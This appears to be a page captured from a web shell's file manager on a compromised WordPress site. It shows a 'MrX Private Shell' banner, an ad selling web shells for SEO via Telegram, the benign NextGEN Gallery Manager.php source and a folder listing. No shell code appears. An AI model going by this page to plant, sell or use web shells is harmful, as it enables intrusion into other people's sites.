__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* REST API Manager
*
* @package NextGEN Gallery
* @subpackage REST API
*/
namespace Imagely\NGG\REST;
use Imagely\NGG\REST\Admin\AttachToPost;
use Imagely\NGG\REST\Admin\Block;
use Imagely\NGG\REST\Admin\RolesCapabilities;
use Imagely\NGG\REST\DataMappers\AlbumREST;
use Imagely\NGG\REST\DataMappers\DisplayTypeREST;
use Imagely\NGG\REST\DataMappers\SettingsREST;
use Imagely\NGG\REST\DataMappers\GalleryREST;
use Imagely\NGG\REST\DataMappers\ImageREST;
use Imagely\NGG\REST\DataMappers\ImageOperationsREST;
use Imagely\NGG\REST\DataMappers\LicenseREST;
use Imagely\NGG\REST\DataMappers\NotificationsREST;
use Imagely\NGG\REST\DataMappers\PluginManagementREST;
use Imagely\NGG\REST\DataMappers\TagREST;
/**
* REST API Manager
*/
class Manager {
/**
* Register the REST API routes
*/
public static function rest_api_init() {
$block = new Block();
$block->register_routes();
$atp = new AttachToPost();
$atp->register_routes();
$roles_capabilities = new RolesCapabilities();
$roles_capabilities->register_routes();
// Register the DataMappers REST endpoints.
GalleryREST::register_routes();
AlbumREST::register_routes();
ImageREST::register_routes();
ImageOperationsREST::register_routes();
DisplayTypeREST::register_routes();
SettingsREST::register_routes();
TagREST::register_routes();
$notifications = new NotificationsREST();
$notifications->register_routes();
$plugin_management = new PluginManagementREST();
$plugin_management->register_routes();
$license = new LicenseREST();
$license->register_routes();
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Admin | Folder | 0755 |
|
|
| DataMappers | Folder | 0755 |
|
|
| License.http | File | 2.6 KB | 0644 |
|
| Manager.php | File | 1.55 KB | 0644 |
|